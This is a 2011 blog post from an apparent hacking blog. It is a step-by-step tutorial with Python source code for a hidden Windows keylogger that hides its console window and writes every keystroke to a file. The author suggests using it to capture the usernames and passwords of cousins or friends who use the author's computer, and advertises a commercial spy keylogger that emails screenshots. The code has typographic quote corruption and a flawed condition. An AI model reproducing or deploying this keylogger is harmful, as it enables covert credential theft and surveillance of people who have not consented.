Thursday, September 1, 2011

Keylogger (often called Keystroke logging ) is the action of tracking the keys struck on a keyboard, typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored. This can be used for later review.

There are basically two key logging methods ranging from hardware and software-based approaches.
1. Hardware key loggers are most reliable but not really most undetected. Unless you’re a type of person who never looks behind your PC.
2. Software key logger is a programmers script that runs in the background of the computer.

I will be showing you how to create a basic keylogger. All you need is programming knowledge.
Keylogger script can be created using C++, VBscript, Phython and many more programming languages.
I will be using Phython because it’s the most simplest programming language for keylogging.

KEYLOGGER SOURCECODE AND
Steps
1) Download Python from their download page and install.

2) Download Pyhook and install.
3) Download Python for Windows Extensions PyWin32 and install.
4) Once all of the above three are installed. Go to>All Programs>Phython2.7>IDLE(Phython GUI).
5) In the interface click File and click New Window.
6) Copy the below code and paste it.

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii != 0 or 8:
f=open(‘c:output.txt’,'r’)
buffer=f.read()
f.close()
f=open(‘c:output.txt’,'w’)
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs=’/n’
buffer += keylogs
f.write(buffer)
f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()



7) Save as logger.py in C drive. Then go to C drive and double click on logger.py
8) Then start typing anything. Once done, press Ctrl+E to stop the logger.
9) Then open output.txt. You will be able to see the things you typed.


So next time when your cousins or friends come to your place and they use your internet, you will get their lo-gin details(username and password). This is just a basic and how a keylogger works. Also check out
keylogger in C++.

For more advanced keylogger software, which captures screenshots and sends a direct e-mail. Download All-Spy-Keylogger.

Leave a Reply

Subscribe to Posts | Subscribe to Comments

Subscribe

Read latest Computer Tips & Tricks Posts in your Inbox for Free

Find Us on Facebook

Popular Post

- inferno19 - Just a dark world redefining hacking blogs - Copyright © -